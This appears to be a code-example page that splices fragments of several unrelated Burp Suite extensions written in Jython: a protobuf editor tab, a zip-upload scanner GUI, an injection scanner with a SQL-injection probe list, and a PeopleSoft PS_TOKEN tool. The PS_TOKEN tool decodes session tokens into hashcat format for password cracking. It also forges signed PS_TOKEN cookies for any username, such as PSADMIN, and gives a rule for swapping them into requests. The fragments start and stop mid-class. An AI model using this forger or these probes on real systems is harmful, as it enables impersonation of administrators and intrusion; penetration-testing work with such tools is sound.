        # Save original content
        self._original_content = content
        if is_request:
            self._content_info = self._helpers.analyzeRequest(
                self._controller.getHttpService(), content
            )
        else:
            self._content_info = self._helpers.analyzeResponse(content)
        self._is_request = is_request
        self._request = None
        self._request_content_info = None

        if not is_request:
            self._request = self._controller.getRequest()
            self._request_content_info = self._helpers.analyzeRequest(
                self._controller.getHttpService(), self._request
            )

        # how we remember which message type correlates to which endpoint
        self._message_hash = self.getMessageHash()

        # Try to find saved messsage type
        self.message_type = None
        self.message_type_name = None
        if self._message_hash in self._extension.saved_types:
            typename = self._extension.saved_types[self._message_hash]
            if typename in default_config.known_types:
                self.message_type_name = typename
                self.message_type = default_config.known_types[typename]
            else:
                del self._extension.saved_types[self._message_hash]

        try:
            protobuf_data = None
            if "get_protobuf_data" in dir(user_funcs):
                protobuf_data = user_funcs.get_protobuf_data(
                    content,
                    is_request,
                    self._content_info,
                    self._helpers,
                    self._request,
                    self._request_content_info,
                )
            if protobuf_data is None:
                protobuf_data = content[self._content_info.getBodyOffset() :].tostring()

            protobuf_data = self.decodePayload(protobuf_data)

            # source_typedef will be the original, updatable version of the dict
            # TODO fix this hack
            self._original_data = protobuf_data
            self._filtered_message_model.set_new_data(protobuf_data)
            self._source_typedef = self.message_type
            json_data, self.message_type = blackboxprotobuf.protobuf_to_json(
                protobuf_data, self.message_type
            )

            self._original_json = json_data
            self._original_typedef = self.message_type
            self._last_set_json = str(json_data)
            self._text_editor.setText(json_data)
            success = True
        except Exception as exc:
            success = False
            self._callbacks.printError(
                "Got error decoding protobuf binary: " + traceback.format_exc()
            )

        # Bring out of exception handler to avoid nexting handlers
        if not success:
            if self._message_hash in self._extension.saved_types:
                del self._extension.saved_types[self._message_hash]
                self.setMessage(content, is_request, False)
                self._text_editor.setText("Error decoding protobuf")

        if self.message_type_name:
            self.forceSelectType(self.message_type_name)

    def decodePayload(self, payload):
        """Add support for decoding a few default methods. Including Base64 and GZIP"""
        if payload.startswith(bytearray([0x1F, 0x8B, 0x08])):
            gzip_decompress = zlib.decompressobj(-zlib.MAX_WBITS)
            self._encoder = "gzip"
            return gzip_decompress.decompress(payload)

        # Try to base64 decode
        try:
            protobuf = base64.b64decode(payload, validate=True)
            self._encoder = "base64"
            return protobuf
        except Exception as exc:
            pass

        # try decoding as a gRPC payload: https://github.com/grpc/grpc/blob/master/doc/PROTOCOL-HTTP2.md
        # we're naiively handling only uncompressed payloads
        if len(payload) > 1 + 4 and payload.startswith(
            bytearray([0x00])
        ):  # gRPC has 1 byte flag + 4 byte length
            (message_length,) = struct.unpack_from(">I", payload[1:])
            if len(payload) == 1 + 4 + message_length:
                self._encoder = "gRPC"
                return payload[1 + 4 :]
        # try:
        #    protobuf = base64.urlsafe_b64decode(payload)
        #    self._encoder = 'base64_url'
        #    return protobuf
        # except Exception as exc:
        #    pass

        self._encoder = None
        return payload

    def encodePayload(self, payload):
        """If we detected an encoding like gzip or base64 when decoding, redo
        that encoding step here
        """
        if self._encoder == "base64":
            return base64.b64encode(payload)
        elif self._encoder == "base64_url":
            return base64.urlsafe_b64encode(payload)
        elif self._encoder == "gzip":
            gzip_compress = zlib.compressobj(-1, zlib.DEFLATED, -zlib.MAX_WBITS)
            self._encoder = "gzip"
            return gzip_compress.compress(payload)
        elif self._encoder == "gRPC":
            message_length = struct.pack(">I", len(payload))
            return bytearray([0x00]) + bytearray(message_length) + payload
        else:
            return payload

    def getSelectedData(self):
        """Get text currently selected in message"""
        return self._text_editor.getSelectedText()

    def getUiComponent(self):
        """Return Java AWT component for this tab"""
        return self._component

    def isEnabled(self, content, is_request):
        """Try to detect a protobuf in the message to enable the tab. Defaults
        to content-type header of 'x-protobuf'. User overridable
        """
        # TODO implement some more default checks
        if is_request:
            info = self._helpers.analyzeRequest(content)
        else:
            info = self._helpers.analyzeResponse(content)

        if "detect_protobuf" in dir(user_funcs):
            result = user_funcs.detect_protobuf(
                content, is_request, info, self._helpers
            )
            if result is not None:
                return result

        # Bail early if there is no body
        if info.getBodyOffset() == len(content):
            return False

        protobuf_content_types = [
            "protobuf",
            "grpc",
        ]
        # Check all headers for x-protobuf
        for header in info.getHeaders():
            if "content-type" in header.lower():
                for protobuf_content_type in protobuf_content_types:
                    if protobuf_content_type in header.lower():
                        return True

        return False

    def isModified(self):
        """Return if the message was modified"""
        return self._text_editor.isTextModified()

    def createButtonPane(self):
        """Create a new button pane for the message editor tab"""
        self._button_listener = EditorButtonListener(self)

        panel = JPanel()
        panel.setLayout(BoxLayout(panel, BoxLayout.Y_AXIS))
        panel.setBorder(EmptyBorder(5, 5, 5, 5))

        panel.add(Box.createRigidArea(Dimension(0, 5)))
        type_scroll_pane = JScrollPane(self._type_list_component)
        type_scroll_pane.setMaximumSize(Dimension(200, 100))
        type_scroll_pane.setMinimumSize(Dimension(150, 100))
        panel.add(type_scroll_pane)
        panel.add(Box.createRigidArea(Dimension(0, 3)))

        new_type_panel = JPanel()
        new_type_panel.setLayout(BoxLayout(new_type_panel, BoxLayout.X_AXIS))
        new_type_panel.add(self._new_type_field)
        new_type_panel.add(Box.createRigidArea(Dimension(3, 0)))
        new_type_panel.add(
            self.createButton(
                "New", "new-type", "Save this message's type under a new name"
            )
        )
        new_type_panel.setMaximumSize(Dimension(200, 20))
        new_type_panel.setMinimumSize(Dimension(150, 20))

        panel.add(new_type_panel)

        button_panel = JPanel()
        button_panel.setLayout(FlowLayout())
        if self._editable:
            button_panel.add(
                self.createButton(
                    "Validate", "validate", "Validate the message can be encoded."
                )
            )
        button_panel.add(
            self.createButton("Edit Type", "edit-type", "Edit the message type")
        )
        button_panel.add(
            self.createButton(
                "Reset Message", "reset", "Reset the message and undo changes"
            )
        )
        button_panel.add(
            self.createButton(
                "Clear Type", "clear-type", "Reparse the message with an empty type"
            )
        )
        button_panel.setMinimumSize(Dimension(100, 200))
        button_panel.setPreferredSize(Dimension(200, 1000))

        panel.add(button_panel)

        return panel

    def createButton(self, text, command, tooltip):
        """Create a new button with the given text and command"""
        button = JButton(text)
        button.setAlignmentX(Component.CENTER_ALIGNMENT)
        button.setActionCommand(command)
        button.addActionListener(self._button_listener)
        button.setToolTipText(tooltip)
        return button

    def validateMessage(self):
        """Callback for validate button. Attempts to encode the message with
        the current type definition
        """
        try:
            json_data = self._text_editor.getText().tostring()
            blackboxprotobuf.protobuf_from_json(json_data, self.message_type)
            # If it works, save the message
            self._original_json = json_data
            self._original_typedef = self.message_type
        except Exception as exc:
            JOptionPane.showMessageDialog(self._component, str(exc))
            self._callbacks.printError(traceback.format_exc())

    def resetMessage(self):
        """Drop any changes and reset the message. Callback for "reset"
        button
        """

        self._last_set_json = str(self._original_json)
        self._text_editor.setText(self._original_json)
        self.message_type = self._original_typedef

    def getMessageHash(self):
        """Compute an "identifier" for the message which is used for sticky
        type definitions. User modifiable
        """
        message_hash = None
        if "hash_message" in dir(user_funcs):
            message_hash = user_funcs.hash_message(
                self._original_content,
                self._is_request,
                self._content_info,
                self._helpers,
                self._request,
                self._request_content_info,
            )
        if message_hash is None:
            # Base it off just the URL and request/response

            content_info = (
                self._content_info if self._is_request else self._request_content_info
            )
            url = content_info.getUrl().getPath()
            message_hash = ":".join([url, str(self._is_request)])
        return message_hash

    def forceSelectType(self, typename):
        index = self._filtered_message_model.get_type_index(typename)
        if index is not None:
            self._last_valid_type_index = index
            self._type_list_component.setSelectedIndex(index)

    def updateTypeSelection(self):
        """Apply a new typedef based on the selected type in the type list"""
        # Check if something is selected
        if self._type_list_component.isSelectionEmpty():
            self._last_valid_type_index = None
            del self._extension.saved_types[self._message_hash]
            return

        # TODO won't actually work right if we delete the type we're using a
        # new type is now in the index
        if self._last_valid_type_index == self._type_list_component.getSelectedIndex():
            # hasn't actually changed since last time we tried
            # otherwise can trigger a second time when we call setSelectedIndex below on failure
            return

        type_name = self._type_list_component.getSelectedValue()
        # try to catch none here...
        if not type_name or type_name not in default_config.known_types:
            return

        try:
            self.applyType(default_config.known_types[type_name])
        except BlackboxProtobufException as exc:
            self._callbacks.printError(traceback.format_exc())

            if isinstance(exc, EncoderException):
                JOptionPane.showMessageDialog(
                    self._component,
                    "Error encoding protobuf with previous type: %s" % (exc),
                )
            elif isinstance(exc, DecoderException):
                JOptionPane.showMessageDialog(
                    self._component,
                    "Error encoding protobuf with type %s: %s" % (type_name, exc),
                )
                # decoder exception means it doesn't match the message that was sucessfully encoded by the prev type
                self._filtered_message_model.remove_type(type_name)

            if self._last_valid_type_index is not None:
                type_name = self._type_list_component.setSelectedIndex(
                    self._last_valid_type_index
                )
            else:
                self._type_list_component.clearSelection()
            return

        self._extension.saved_types[self._message_hash] = type_name
        self._last_valid_type_index = self._type_list_component.getSelectedIndex()

    def editType(self, typedef):
        """Apply the new typedef. Use dict.update to change the original
        dictionary, so we also update the anonymous cached definition and ones
        stored in known_messages"""
        # TODO this is kind of an ugly hack. Should redo how these are referenced
        # probably means rewriting a bunch of the editor
        old_source = self._source_typedef
        old_source.clear()
        old_source.update(typedef)
        self.applyType(old_source)

    def applyType(self, typedef):
        """Apply a new typedef to the message. Throws an exception if type is invalid."""
        # store a reference for later mutation?
        self._source_typedef = typedef
        # Convert to protobuf as old type and re-interpret as new type
        old_message_type = self.message_type
        json_data = self._text_editor.getText().tostring()
        protobuf_data = blackboxprotobuf.protobuf_from_json(json_data, old_message_type)

        new_json, message_type = blackboxprotobuf.protobuf_to_json(
            str(protobuf_data), typedef
        )

        # Should exception out before now if there is an issue
        self.message_type = message_type

        # if the json data was modified, then re-check our types
        if json_data != self._last_set_json:
            self._filtered_message_model.set_new_data(protobuf_data)
        self._last_set_json = str(new_json)
        self._text_editor.setText(str(new_json))

    def saveAsNewType(self):
        """Copy the current type into known_messages"""
        name = self._new_type_field.getText().strip()
        if not NAME_REGEX.match(name):
            JOptionPane.showMessageDialog(
                self._component,
                "%s is not a valid "
                "message name. Message names should be alphanumeric." % name,
            )
            return
        if name in default_config.known_types:
            JOptionPane.showMessageDialog(
                self._component, "Message name %s is " "already taken." % name
            )
            return

        # Do a deep copy on the dictionary so we don't accidentally modify others
        default_config.known_types[name] = copy.deepcopy(self.message_type)
        # update the list of messages. This should trickle down to known message model
        self._extension.known_message_model.addElement(name)
        self._new_type_field.setText("")
        self._extension.saved_types[self._message_hash] = name

        # force select our new type
        self.forceSelectType(name)

    def clearType(self):
        self.applyType({})
        self._type_list_component.clearSelection()
        self._new_type_field.setText("")

    def open_typedef_window(self):
        self._extension.open_typedef_editor(self.message_type, self.editType)
class BurpExtender(IBurpExtender, ITab, IContextMenuFactory):

    #
    # implement IBurpExtender
    #

    #global vars to access all the textboxes
    global btnDecode, btnGenerate
    global left_tb1, left_tb2, left_tb3, right_tb1, right_tb2, right_tb3

    #global vars to set the endian value
    global tmp1, tmp2, tmp3, tmp4, tmp7

    def registerExtenderCallbacks(self, callbacks):

        endianVal = 0

        def generateTextBox(defaultTxt, editable):
            sample = JTextArea(5, 20)
            scrollPane1 = JScrollPane(sample)
            sample.setBounds(0, 0, 400, 400)
            sample.setEditable(editable)
            sample.setLineWrap(True)
            sample.setWrapStyleWord(True)
            sample.setBorder(BorderFactory.createLineBorder(Color.BLACK))
            sample.setText(defaultTxt)

            return sample

        def decodeData(event):

            #Get Base64 token
            full_str = base64.b64decode(self._left_tb1.getText())

            sha_mac = full_str[44:64].encode('hex')
            inflate_data = full_str[76:]
            data = zlib.decompress(inflate_data)

            user_length = data[20]
            loc = 21
            tokenDetails = "User name :" + data[
                loc:loc + int(user_length.encode('hex'), 16)].replace(
                    "\x00", "") + "\n"
            loc = loc + int(user_length.encode('hex'), 16)
            lang_length = data[loc]
            loc = loc + 1

            tokenDetails += "Lang Code :" + data[
                loc:loc + int(lang_length.encode('hex'), 16)].replace(
                    "\x00", "") + "\n"
            tmp1.setText(data[loc:loc +
                              int(lang_length.encode('hex'), 16)].replace(
                                  "\x00", ""))
            loc = loc + int(lang_length.encode('hex'), 16)
            node_length = data[loc]
            loc = loc + 1

            tokenDetails += "Node name :" + data[
                loc:loc + int(node_length.encode('hex'), 16)].replace(
                    "\x00", "") + "\n"
            tmp2.setText(data[loc:loc +
                              int(node_length.encode('hex'), 16)].replace(
                                  "\x00", ""))
            loc = loc + int(node_length.encode('hex'), 16)
            time_length = data[loc]
            loc = loc + 1

            tokenDetails += "Creation time :" + data[
                loc:loc + int(time_length.encode('hex'), 16)].replace(
                    "\x00", "")

            tmp = data[loc:loc + int(time_length.encode('hex'), 16)].replace(
                "\x00", "")
            datestamp = tmp[:len(tmp) - 7]
            tmp3.setText(datestamp)
            # Determine if it's little or big endian
            if (data[4:8].encode('hex') == '04030201'):
                endianVal = 0
            else:
                endianVal = 1

            tmp4.setText(str(endianVal))
            hashcatFormat = sha_mac + ":" + data.encode("hex")

            left_tb2.setText(tokenDetails)
            left_tb3.setText(hashcatFormat)

        def make_field(part, size):
            part = chr(len(part) + size) + part
            return part

        def generateToken(event):

            newtoken = ""

            endianVal = int(tmp4.getText())

            if endianVal == 1:
                username = right_tb2.getText().encode('utf_16_be')
                nodepw = right_tb1.getText().encode('utf_16_le')
                lang = tmp1.getText().encode('utf_16_be')
                nodename = tmp2.getText().encode('utf_16_be')
                datestamp = (tmp3.getText() + '.164266').encode('utf_16_be')
                token_ver = "8.10".encode('utf_16_be')
                unknown_field = "N".encode('utf_16_be')

                uncompressed_data = '\x01\x02\x03\x04\x00\x01\x00\x00\x00\x00\x02\xbc\x00\x00\x00\x00' + make_field(
                    username, 0) + make_field(lang, 0) + make_field(
                        nodename, 0) + make_field(datestamp, 0) + '\x00'
                uncompressed_field = '\x00\x00\x00' + make_field(
                    uncompressed_data, 4)

                inflate_data = zlib.compress(uncompressed_field)

                sha1_mac = hashlib.sha1(uncompressed_field + nodepw).digest()

                uncompressed_length = chr(len(uncompressed_field))
                static_headers1 = '\x01\x02\x03\x04\x00\x01\x00\x00\x00\x00\x02\xbc\x00\x00\x00\x00\x00\x00\x00\x2c\x00\x04\x53\x68\x64\x72\x02' + unknown_field + uncompressed_length + '\x08' + token_ver + '\x14'
                static_headers2 = '\x00\x05\x53\x64\x61\x74\x61'
                body = '\x00\x00\x00' + make_field(
                    static_headers2 + make_field(inflate_data, 0), 4)
                token = '\x00\x00\x00' + make_field(
                    static_headers1 + sha1_mac + body, 4)

                newtoken = base64.b64encode(token)

            elif endianVal == 0:
                username = right_tb2.getText().encode('utf_16_le')
                nodepw = right_tb1.getText().encode('utf_16_le')
                lang = tmp1.getText().encode('utf_16_le')
                nodename = tmp2.getText().encode('utf_16_le')
                datestamp = (tmp3.getText() + '.999543').encode('utf_16_le')
                token_ver = "8.10".encode('utf_16_le')
                unknown_field = "N".encode('utf_16_le')

                uncompressed_data = '\x00\x00\x00\x04\x03\x02\x01\x01\x00\x00\x00\xbc\x02\x00\x00\x00\x00\x00\x00' + make_field(
                    username, 0) + make_field(lang, 0) + make_field(
                        nodename, 0) + make_field(datestamp, 0) + '\x00'
                uncompressed_field = make_field(uncompressed_data, 1)

                inflate_data = zlib.compress(uncompressed_field)

                sha1_mac = hashlib.sha1(uncompressed_field + nodepw).digest()

                uncompressed_length = chr(len(uncompressed_field))

                static_headers1 = '\x00\x00\x00\x04\x03\x02\x01\x01\x00\x00\x00\xbc\x02\x00\x00\x00\x00\x00\x00\x2c\x00\x00\x00\x04\x00\x53\x68\x64\x72\x02' + unknown_field + uncompressed_length + '\x08' + token_ver + '\x14'
                static_headers2 = '\x00\x00\x00\x05\x00\x53\x64\x61\x74\x61'
                body = make_field(
                    static_headers2 + make_field(inflate_data, 0), 1)
                token = make_field(static_headers1 + sha1_mac + body, 1)

                newtoken = base64.b64encode(token)

            right_tb3.setText("PS_TOKEN=" + newtoken + ";")

        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName("PeopleSoft PSToken Processor")

        # main split pane
        self._splitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        self._splitpane.setResizeWeight(0.5)

        c = GridBagConstraints()
        c.weightx = 1
        c.weighty = 1

        c.anchor = GridBagConstraints.NORTHWEST

        #Temp variables

        tmp1 = JLabel("tmp")
        tmp2 = JLabel("tmp")
        tmp3 = JLabel("tmp")
        tmp4 = JLabel("tmp")

        # add left panel
        panel1 = JPanel(GridBagLayout())
        header1 = JLabel("EXTRACTION")
        header1.setFont(Font("Myriad Pro", Font.BOLD, 24))

        left_t1 = JLabel("PS_TOKEN Cookie")
        left_t2 = JLabel("Token Details")
        left_t3 = JLabel("Token Hash + Salt (Hashcat Format)")
        left_t4 = JLabel(
            "Save this into a .hash file and run the following Hashcat command: hashcat -m 13500 <hashfile> <dictionary file>"
        )

        self._left_tb1 = generateTextBox("Your PS_TOKEN value here", True)
        left_tb2 = generateTextBox("Token Details here", False)
        left_tb3 = generateTextBox("Hashcat format here", False)

        btnDecode = JButton("Decode", actionPerformed=decodeData)
        btnGenerate = JButton("Generate", actionPerformed=generateToken)
        #add right panel
        panel2 = JPanel(GridBagLayout())
        header2 = JLabel("GENERATION")
        header2.setFont(Font("Myriad Pro", Font.BOLD, 24))

        right_t1 = JLabel("Node password")
        right_t2 = JLabel("New username")
        right_t3 = JLabel("New Base64 PS_TOKEN")
        right_t4 = JLabel(
            "Match & Replace rule to modify PS_TOKEN (Type: Request Header, enable regex)"
        )
        right_t5 = JLabel("Match rule: PS_TOKEN=[A-Za-z0-9\/\+]*;")
        right_t6 = JLabel("Replace: PS_TOKEN=<new generated PS_TOKEN>;")

        right_tb1 = generateTextBox("Password here", True)
        right_tb2 = generateTextBox("PSADMIN", True)
        right_tb3 = generateTextBox("Your new token here", False)

        panel1.add(header1, c)
        panel2.add(header2, c)

        c.gridx = 0
        c.gridy = 1
        panel1.add(left_t1, c)
        panel2.add(right_t1, c)
        c.gridy += 1
        panel1.add(self._left_tb1, c)
        panel2.add(right_tb1, c)

        c.gridy += 1
        panel1.add(left_t2, c)
        panel2.add(right_t2, c)
        c.gridy += 1
        panel1.add(left_tb2, c)
        panel2.add(right_tb2, c)

        c.gridy += 1
        panel1.add(left_t3, c)
        panel2.add(right_t3, c)
        c.gridy += 1
        panel1.add(left_t4, c)
        panel2.add(right_t4, c)
        c.gridy += 1
        panel1.add(left_tb3, c)
        panel2.add(right_t5, c)
        c.gridy += 1
        panel2.add(right_t6, c)
        c.gridy += 1
        panel2.add(right_tb3, c)
        c.gridy += 1
        panel1.add(btnDecode, c)
        panel2.add(btnGenerate, c)

        self._splitpane.setLeftComponent(panel1)
        self._splitpane.setRightComponent(panel2)

        # customize our UI components
        callbacks.customizeUiComponent(self._splitpane)
        #callbacks.customizeUiComponent(panel1)
        #callbacks.customizeUiComponent(scrollPane)

        # add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        #add option to do right-click
        callbacks.registerContextMenuFactory(self)

        return

    #
    # implement ITab
    #

    def getTabCaption(self):
        return "PSTOKEN-JYTHON"

    def getUiComponent(self):
        return self._splitpane

    def createMenuItems(self, invocation):
        def sendValue(e):
            bd = invocation.getSelectionBounds()

            res = ""

            if invocation.getInvocationContext() == 2:
                data = invocation.getSelectedMessages()[0].getRequest()
                for i in (data[bd[0]:bd[1]]):
                    res = res + chr(int(i))

            elif invocation.getInvocationContext() == 3:

                data = invocation.getSelectedMessages()[0].getRequest()
                for i in (data[bd[0]:bd[1]]):
                    res = res + chr(int(i))

            self._left_tb1.setText(res)

        menuList = []
        item = JMenuItem("Send to PSTOKEN", actionPerformed=sendValue)
        menuList.append(item)

        return menuList
예제 #29
0
    def initGUI(self):
        #
        # Manual tab
        #
        tabPane = JTabbedPane(JTabbedPane.TOP)
        reqRestabPane = JTabbedPane(JTabbedPane.TOP)
        splitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        tabPane.addTab("Repeater", splitPane)
        splitPane2 = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        splitPane.setLeftComponent(splitPane2)

        panel1 = JPanel()
        panel2 = JPanel()

        splitPane2.setLeftComponent(panel1)
        splitPane2.setRightComponent(panel2)
        splitPane.setRightComponent(reqRestabPane)

        panel1.setLayout(BoxLayout(panel1,BoxLayout.Y_AXIS))
        panel2.setLayout(BoxLayout(panel2,BoxLayout.Y_AXIS))

        self.requestPanel = self._callbacks.createMessageEditor(None, False)
        self.responsePanel = self._callbacks.createMessageEditor(None, False)

        label1 = JLabel("files and folders")
        self.lblFilename = JLabel("File name")
        label3 = JLabel("Response")
        self.editField = self._callbacks.createMessageEditor(None, True)
        self.dirList = JList([], valueChanged = self.listSelect)

        listFileDirPane = JScrollPane(self.dirList)

        ## Set left align
        listFileDirPane.setAlignmentX(Component.LEFT_ALIGNMENT)

        btnPanel = JPanel()
        btnGo = JButton("Compress & Go", actionPerformed = self.btnGoClick)
        btnSave = JButton("Save", actionPerformed = self.btnSaveClick)
        btnClear = JButton("Clear", actionPerformed = self.btnClearClick)
        btnReset = JButton("Reset", actionPerformed = self.btnResetRepeaterClick)
        btnPanel.add(btnGo)
        btnPanel.add(btnSave)
        btnPanel.add(btnReset)
        btnPanel.add(btnClear)
        btnPanel.setLayout(BoxLayout(btnPanel,BoxLayout.X_AXIS))

        panel1.add(label1)
        panel1.add(listFileDirPane)

        panel2.add(self.lblFilename)
        panel2.add(self.editField.getComponent())
        panel2.add(btnPanel)

        reqRestabPane.addTab("Response",self.responsePanel.getComponent())
        reqRestabPane.addTab("Request",self.requestPanel.getComponent())

        splitPane.setResizeWeight(0.6)

        #
        # Scanner tab
        #
        scanSplitPane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        tabPane.addTab("Scanner", scanSplitPane)
        scanSplitPane2 = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        scanSplitPane.setLeftComponent(scanSplitPane2)

        scanPanel1 = JPanel()
        scanPanel2 = JPanel()
        scanPanel3 = JPanel()
        scanSplitPane2.setLeftComponent(scanPanel1)
        scanSplitPane2.setRightComponent(scanPanel2)
        scanSplitPane.setRightComponent(scanPanel3)

        scanPanel1.setLayout(BoxLayout(scanPanel1,BoxLayout.Y_AXIS))
        scanPanel2.setLayout(BoxLayout(scanPanel2,BoxLayout.Y_AXIS))
        scanPanel3.setLayout(BoxLayout(scanPanel3,BoxLayout.Y_AXIS))

        scanLabel1 = JLabel("files and folders")
        self.scanLblFilename = JLabel("File name")
        scanLabel3 = JLabel("<html><h3>Config scanner</h3></html>")
        scanLabel4 = JLabel("<html><h3>Scanner status</h3></html>")
        scanLabel5 = JLabel("""<html>
                                <div>
                                    <h3>Notice</h3>
                                    <ul>
                                        <li>Possible to run only a scan at time</li>
                                        <li>Work with .zip file only</li>
                                        <li>Cannot continue after exit Burp</li>
                                    </ul>
                                </div>
                            </html>""")
        self.scannerStatusLabel = JLabel("<html><i style='color:grey'> Not Running</i></html>")
        self.checkboxScanFilename = JCheckBox("Also scan zip filename (this may be upload several files to server)")
        self.scanEditField = self._callbacks.createMessageEditor(None, False)
        self.scanDirList = JList([], valueChanged = self.scanListSelect)

        scanListFileDirPane = JScrollPane(self.scanDirList)

        ## Set left align
        scanListFileDirPane.setAlignmentX(Component.LEFT_ALIGNMENT)

        scanBtnPanel = JPanel()
        self.scanBtnGo = JButton("Set insertion point", actionPerformed = self.btnSetInsertionPointClick)
        self.scanBtnSave = JButton("Send to scanner", actionPerformed = self.btnScanClick)
        self.scanBtnClearInsertionPoint = JButton("Clear insertion points", actionPerformed = self.scanBtnClearInsClick)
        self.scanBtnClear = JButton("Clear", actionPerformed = self.scanBtnClearClick)
        self.scanBtnCancel = JButton("Cancel", actionPerformed = self.cancelScan)
        scanBtnPanel.add(self.scanBtnGo)
        scanBtnPanel.add(self.scanBtnSave)
        scanBtnPanel.add(self.scanBtnClearInsertionPoint)
        scanBtnPanel.add(self.scanBtnClear)
        scanBtnPanel.setLayout(BoxLayout(scanBtnPanel,BoxLayout.X_AXIS))

        scanPanel1.add(scanLabel1)
        scanPanel1.add(scanListFileDirPane)

        scanPanel2.add(self.scanLblFilename)
        scanPanel2.add(self.scanEditField.getComponent())
        scanPanel2.add(scanBtnPanel)
        
        scanPanel3.add(scanLabel3)
        scanPanel3.add(self.checkboxScanFilename)
        scanPanel3.add(scanLabel4)
        scanPanel3.add(self.scannerStatusLabel)
        scanPanel3.add(self.scanBtnCancel)
        self.scanBtnCancel.setEnabled(False)
        scanPanel3.add(scanLabel5)

        scanSplitPane.setResizeWeight(0.6)

        self.tab = tabPane
예제 #30
0
    def registerExtenderCallbacks(self, callbacks):

        # Set encoding to utf-8 to avoid some errors
        reload(sys)
        sys.setdefaultencoding('utf8')

        # Keep a reference to callback object and helper object
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        # Set the extension name that shows in the burp extension menu
        callbacks.setExtensionName("InjectionScanner")

        # Create the log and a lock on which to synchronize when adding log entries
        self._log = ArrayList()
        self._logLock = Lock()
        self._httpLock = Lock()

        # The length of the basis used to fetch abnormal data, default to zero
        self._basisLen = 0

        # 1: {POST. GET}; 2: {urlencoded, json, xml}
        self._postGet = 'NaN'
        self._dataType = 'NaN'

        # Scan list
        self._simpleList = [
            '\'', '\"', '/', '/*', '#', ')', '(', ')\'', '(\'', 'and 1=1',
            'and 1=2', 'and 1>2', 'and 12', '+', 'and+12', '/**/and/**/1'
        ]
        self._xmlList = ['a', 'b', 'c', 'd', 'e']  # Not setted

        # Response mutex: True = is blocking; False = free to go
        # self._mutexR = False

        # Other classes instance
        self._dataTable = Guis_DefaultTM()
        self._logTable = Guis_AbstractTM(self)
        self._xh = XMLHandler()
        listeners = Guis_Listeners(self, self._logTable)
        '''
        Setting GUIs
        '''
        # Divide the whole pane two: one upper and one lower pane
        self._mainSplitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT)
        self._mainSplitpane.setResizeWeight(0.4)

        # Initizlize request table
        dataTable = JTable(self._dataTable)
        dataScrollPane = JScrollPane(dataTable)
        dataScrollPane.setPreferredSize(Dimension(0, 125))
        self._dataTable.addTableModelListener(listeners)

        # Initialize log table
        logTable = Guis_LogTable(self._logTable)
        logScrollPane = JScrollPane(logTable)
        logScrollPane.setPreferredSize(Dimension(0, 125))

        # Split the upper pane to two panes
        tableSplitpane = JSplitPane(JSplitPane.HORIZONTAL_SPLIT)
        tableSplitpane.setResizeWeight(0.5)

        # Set the data table to the left and log to the right
        tableSplitpane.setLeftComponent(dataScrollPane)
        tableSplitpane.setRightComponent(logScrollPane)

        # Tabs with request/response viewers
        tabs = JTabbedPane()
        self._requestViewer = callbacks.createMessageEditor(self, False)
        self._responseViewer = callbacks.createMessageEditor(self, False)
        tabs.addTab("Request", self._requestViewer.getComponent())
        tabs.addTab("Response", self._responseViewer.getComponent())

        # Create buttons that do operation with the test
        self._basisLabel = JLabel('Basis: ' + str(self._basisLen))
        self._levelLabel = JLabel('Level:')
        self._setBasisButton = JButton('Set Basis')
        self._hitOnceButton = JButton('Hit Once')
        self._autoScanButton = JButton('Auto Scan')
        self._clearLogButton = JButton('Clear Log')
        self._cancelButton = JButton('Cancel')
        self._levelSelection = JComboBox()

        self._levelSelection.addItem('1')
        self._levelSelection.addItem('2')
        self._levelSelection.addItem('3')
        self._hitOnceButton.addActionListener(listeners)
        self._autoScanButton.addActionListener(listeners)
        self._clearLogButton.addActionListener(listeners)
        self._setBasisButton.addActionListener(listeners)
        self._cancelButton.addActionListener(listeners)
        self._basisLabel.setPreferredSize(Dimension(100, 20))

        # Create bottom pane for holding the buttons
        buttonPane = JPanel()
        buttonPane.setLayout(BorderLayout())
        centerPane = JPanel()
        leftPane = JPanel()
        rightPane = JPanel()
        leftPane.add(self._basisLabel)
        centerPane.add(self._setBasisButton)
        centerPane.add(self._hitOnceButton)
        centerPane.add(self._autoScanButton)
        centerPane.add(self._cancelButton)
        centerPane.add(self._clearLogButton)
        rightPane.add(self._levelLabel)
        rightPane.add(self._levelSelection)
        buttonPane.add(centerPane, BorderLayout.CENTER)
        buttonPane.add(leftPane, BorderLayout.WEST)
        buttonPane.add(rightPane, BorderLayout.EAST)

        # Create and set the bottom panel that holds viewers and buttons
        utilPane = JPanel()
        utilPane.setLayout(BorderLayout())
        utilPane.add(tabs, BorderLayout.CENTER)
        utilPane.add(buttonPane, BorderLayout.SOUTH)

        self._mainSplitpane.setLeftComponent(tableSplitpane)
        self._mainSplitpane.setRightComponent(utilPane)

        # Customize UI components
        callbacks.customizeUiComponent(self._mainSplitpane)
        callbacks.customizeUiComponent(dataTable)
        callbacks.customizeUiComponent(dataScrollPane)
        callbacks.customizeUiComponent(logTable)
        callbacks.customizeUiComponent(logScrollPane)
        callbacks.customizeUiComponent(tabs)
        callbacks.customizeUiComponent(buttonPane)
        callbacks.customizeUiComponent(utilPane)
        callbacks.customizeUiComponent(self._basisLabel)
        callbacks.customizeUiComponent(self._setBasisButton)
        callbacks.customizeUiComponent(self._hitOnceButton)
        callbacks.customizeUiComponent(self._autoScanButton)
        callbacks.customizeUiComponent(self._clearLogButton)
        callbacks.customizeUiComponent(self._levelSelection)
        callbacks.customizeUiComponent(self._cancelButton)

        # Add the custom tab to Burp's UI
        callbacks.addSuiteTab(self)

        # Register the context menu and message editor for new tabs
        callbacks.registerContextMenuFactory(self)

        # Register as a HTTP listener
        callbacks.registerHttpListener(self)

        return
예제 #31
0
class BurpExtender(IBurpExtender, ITab, IHttpListener, IContextMenuFactory, IMessageEditorController, AbstractTableModel):

    #
    # implement IBurpExtender
    #

    def registerExtenderCallbacks(self, callbacks):
        print("[*] Loading Jaeles beta v0.1")
        # keep a reference to our callbacks object
        self._callbacks = callbacks

        # obtain an extension helpers object
        self._helpers = callbacks.getHelpers()

        # set our extension name
        callbacks.setExtensionName("Jaeles")

